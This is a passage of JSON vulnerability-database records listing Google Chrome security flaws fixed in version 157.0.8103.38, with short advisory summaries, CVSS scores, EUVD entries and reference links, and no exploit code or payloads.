High)","published_time":"2026-11-03T20:42:36","cvss":9.6,"cvss_version":"3.1","epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/577400245"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121105","summary":"Information leak in Network in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to obtain cross-origin data via a crafted HTML page. (Chromium security severity: Medium)","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/571058818"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:16","euvd":{"id":"EUVD-2026-116442","description":"Information leak in Network in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to obtain cross-origin data via a crafted HTML page. (Chromium security severity: Medium)","published_time":"2026-11-03T20:42:38","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/571058818"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121106","summary":"Information leak in Omnibox in Google Chrome on on Android prior to 157.0.8103.38 allowed a remote attacker to leak sensitive information via UI Interaction. (Chromium security severity: Medium)","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/517448378"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:16","euvd":{"id":"EUVD-2026-116461","description":"Information leak in Omnibox in Google Chrome on on Android prior to 157.0.8103.38 allowed a remote attacker to leak sensitive information via UI Interaction. (Chromium security severity: Medium)","published_time":"2026-11-03T20:42:42","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/517448378"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121093","summary":"Out of bounds read in Animation in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to potentially read memory inside the sandbox via a crafted HTML page. (Chromium security severity: Low)","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/567429681"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:15","euvd":{"id":"EUVD-2026-116361","description":"Out of bounds read in Animation in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to potentially read memory inside the sandbox via a crafted HTML page. (Chromium security severity: Low)","published_time":"2026-11-03T20:43:01","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/567429681"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121094","summary":"Type confusion in V8 in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)","cvss":8.8,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":8.8,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/574339635"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:15","euvd":{"id":"EUVD-2026-116410","description":"Type confusion in V8 in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)","published_time":"2026-11-03T20:42:32","cvss":8.8,"cvss_version":"3.1","epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/574339635"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121095","summary":"Uninitialized resource in WebGL in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to read memory outside the sandbox via a crafted HTML page. (Chromium security severity: High)","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/558111285"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:15","euvd":{"id":"EUVD-2026-116514","description":"Uninitialized resource in WebGL in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to read memory outside the sandbox via a crafted HTML page. (Chromium security severity: High)","published_time":"2026-11-03T20:42:24","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/558111285"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121096","summary":"Incomplete cleanup in V8 in Google Chrome prior to 157.0.8103.38 allowed a local attacker to read memory via a local program. (Chromium security severity: Medium)","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/565490229"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:15","euvd":{"id":"EUVD-2026-116290","description":"Incomplete cleanup in V8 in Google Chrome prior to 157.0.8103.38 allowed a local attacker to read memory via a local program. (Chromium security severity: Medium)","published_time":"2026-11-03T20:42:48","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/565490229"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121097","summary":"Use after free in Printing in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)","cvss":8.8,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":8.8,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/574409275"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:15","euvd":{"id":"EUVD-2026-116413","description":"Use after free in Printing in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)","published_time":"2026-11-03T20:42:33","cvss":8.8,"cvss_version":"3.1","epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/574409275"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121098","summary":"Improper state validation in GPU in Google Chrome prior to 157.0.8103.38 allowed a remote attacker who had compromised the renderer process to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: High)","cvss":8.3,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":8.3,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/516958782"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:15","euvd":{"id":"EUVD-2026-116509","description":"Improper state validation in GPU in Google Chrome prior to 157.0.8103.38 allowed a remote attacker who had compromised the renderer process to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: High)","published_time":"2026-11-03T20:42:23","cvss":8.3,"cvss_version":"3.1","epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/516958782"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121099","summary":"Information leak in PrivateTokens in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to obtain sensitive information via a crafted HTML page. (Chromium security severity: Medium)","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/502385220"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:15","euvd":{"id":"EUVD-2026-116452","description":"Information leak in PrivateTokens in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to obtain sensitive information via a crafted HTML page. (Chromium security severity: Medium)","published_time":"2026-11-03T20:42:41","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/502385220"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121086","summary":"Buffer overflow in Skia in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: High)","cvss":9.6,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":9.6,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/569674218"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:14","euvd":{"id":"EUVD-2026-116395","description":"Buffer overflow in Skia in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: High)","published_time":"2026-11-03T20:42:29","cvss":9.6,"cvss_version":"3.1","epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/569674218"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121087","summary":"Improper input validation in Mobile in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to bypass web origin policy via a crafted HTML page. (Chromium security severity: High)","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/570028521"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:14","euvd":{"id":"EUVD-2026-116397","description":"Improper input validation in Mobile in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to bypass web origin policy via a crafted HTML page. (Chromium security severity: High)","published_time":"2026-11-03T20:42:29","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/570028521"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121088","summary":"Missing authorization in PerformanceAPIs in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to obtain cross-origin data via a crafted HTML page. (Chromium security severity: Medium)","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/562158081"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:14","euvd":{"id":"EUVD-2026-116479","description":"Missing authorization in PerformanceAPIs in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to obtain cross-origin data via a crafted HTML page. (Chromium security severity: Medium)","published_time":"2026-11-03T20:42:46","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/562158081"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121089","summary":"Use after free in WebGPU in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: High)","cvss":9.6,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":9.6,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/571648522"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:14","euvd":{"id":"EUVD-2026-116401","description":"Use after free in WebGPU in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: High)","published_time":"2026-11-03T20:42:30","cvss":9.6,"cvss_version":"3.1","epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/571648522"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121090","summary":"Improper privilege management in Navigation in Google Chrome on on iOS prior to 157.0.8103.38 allowed a remote attacker who had compromised the renderer process to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: High)","cvss":8.3,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":8.3,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/568936993"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:14","euvd":{"id":"EUVD-2026-116392","description":"Improper privilege management in Navigation in Google Chrome on on iOS prior to 157.0.8103.38 allowed a remote attacker who had compromised the renderer process to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: High)","published_time":"2026-11-03T20:42:28","cvss":8.3,"cvss_version":"3.1","epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/568936993"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121091","summary":"Incorrect authorization in Permissions in Google Chrome prior to 157.0.8103.38 allowed a remote attacker who had compromised the renderer process to obtain sensitive information via a crafted HTML page. (Chromium security severity: Medium)","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/571195939"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:14","euvd":{"id":"EUVD-2026-116313","description":"Incorrect authorization in Permissions in Google Chrome prior to 157.0.8103.38 allowed a remote attacker who had compromised the renderer process to obtain sensitive information via a crafted HTML page. (Chromium security severity: Medium)","published_time":"2026-11-03T20:42:52","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/571195939"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121092","summary":"Uncontrolled recursion in SVG in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)","cvss":8.8,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":8.8,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/565674533"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:14","euvd":{"id":"EUVD-2026-116358","description":"Uncontrolled recursion in SVG in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)","published_time":"2026-11-03T20:43:01","cvss":8.8,"cvss_version":"3.1","epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/565674533"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121078","summary":"Type confusion in V8 in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)","cvss":8.8,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":8.8,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/578083257"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:13","euvd":{"id":"EUVD-2026-116435","description":"Type confusion in V8 in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)","published_time":"2026-11-03T20:42:37","cvss":8.8,"cvss_version":"3.1","epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/578083257"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121079","summary":"Race condition in V8 in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)","cvss":8.8,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":8.8,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/574351803"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:13","euvd":{"id":"EUVD-2026-116411","description":"Race condition in V8 in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)","published_time":"2026-11-03T20:42:32","cvss":8.8,"cvss_version":"3.1","epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/574351803"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121080","summary":"Use after free in Codecs in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to read memory inside the sandbox via a crafted HTML page. (Chromium security severity: High)","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/568818122"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:13","euvd":{"id":"EUVD-2026-116388","description":"Use after free in Codecs in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to read memory inside the sandbox via a crafted HTML page. (Chromium security severity: High)","published_time":"2026-11-03T20:42:28","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/568818122"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121081","summary":"UI misrepresentation in Passwords in Google Chrome prior to 157.0.8103.38 allowed a remote attacker leveraging social engineering to obtain sensitive information via crafted network traffic. (Chromium security severity: Low)","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/562975181"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:13","euvd":{"id":"EUVD-2026-116349","description":"UI misrepresentation in Passwords in Google Chrome prior to 157.0.8103.38 allowed a remote attacker leveraging social engineering to obtain sensitive information via crafted network traffic. (Chromium security severity: Low)","published_time":"2026-11-03T20:42:59","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/562975181"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121082","summary":"Type confusion in V8 in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)","cvss":8.8,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":8.8,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/567222737"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:13","euvd":{"id":"EUVD-2026-116524","description":"Type confusion in V8 in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)","published_time":"2026-11-03T20:42:26","cvss":8.8,"cvss_version":"3.1","epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/567222737"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121083","summary":"Use after free in Compositing in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)","cvss":8.8,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":8.8,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/567321055"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:13","euvd":{"id":"EUVD-2026-116525","description":"Use after free in Compositing in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)","published_time":"2026-11-03T20:42:27","cvss":8.8,"cvss_version":"3.1","epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/567321055"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121084","summary":"Out of bounds read in Skia in Google Chrome prior to 157.0.8103.38 allowed a remote attacker who had compromised the renderer process to execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: High)","cvss":8.3,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":8.3,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/574214629"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:13","euvd":{"id":"EUVD-2026-116409","description":"Out of bounds read in Skia in Google Chrome prior to 157.0.8103.38 allowed a remote attacker who had compromised the renderer process to execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: High)","published_time":"2026-11-03T20:42:32","cvss":8.3,"cvss_version":"3.1","epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/574214629"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121085","summary":"Incorrect authorization in WebUI in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to bypass system access restrictions into a privileged page via a crafted HTML page. (Chromium security severity: Low)","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/562108905"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:13","euvd":{"id":"EUVD-2026-116344","description":"Incorrect authorization in WebUI in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to bypass system access restrictions into a privileged page via a crafted HTML page. (Chromium security severity: Low)","published_time":"2026-11-03T20:42:58","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/562108905"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121071","summary":"Incorrect authorization in FileSystem in Google Chrome prior to 157.0.8103.38 allowed a remote attacker leveraging social engineering to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: High)","cvss":9.6,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":9.6,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/561994040"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:12","euvd":{"id":"EUVD-2026-116515","description":"Incorrect authorization in FileSystem in Google Chrome prior to 157.0.8103.38 allowed a remote attacker leveraging social engineering to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: High)","published_time":"2026-11-03T20:42:25","cvss":9.6,"cvss_version":"3.1","epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/561994040"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121072","summary":"Uninitialized resource in Skia in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to obtain cross-origin data via a crafted HTML page. (Chromium security severity: Medium)","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/553130328"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:12","euvd":{"id":"EUVD-2026-116469","description":"Uninitialized resource in Skia in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to obtain cross-origin data via a crafted HTML page. (Chromium security severity: Medium)","published_time":"2026-11-03T20:42:44","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/553130328"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121073","summary":"Use after free in Network in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via crafted network traffic. (Chromium security severity: Low)","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/565797214"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:12","euvd":{"id":"EUVD-2026-116359","description":"Use after free in Network in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via crafted network traffic. (Chromium security severity: Low)","published_time":"2026-11-03T20:43:01","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/565797214"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121074","summary":"Memory corruption in GPU in Google Chrome on on Android prior to 157.0.8103.38 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: High)","cvss":9.6,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":9.6,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/536617330"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:12","euvd":{"id":"EUVD-2026-116510","description":"Memory corruption in GPU in Google Chrome on on Android prior to 157.0.8103.38 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: High)","published_time":"2026-11-03T20:42:23","cvss":9.6,"cvss_version":"3.1","epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/536617330"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121075","summary":"Missing 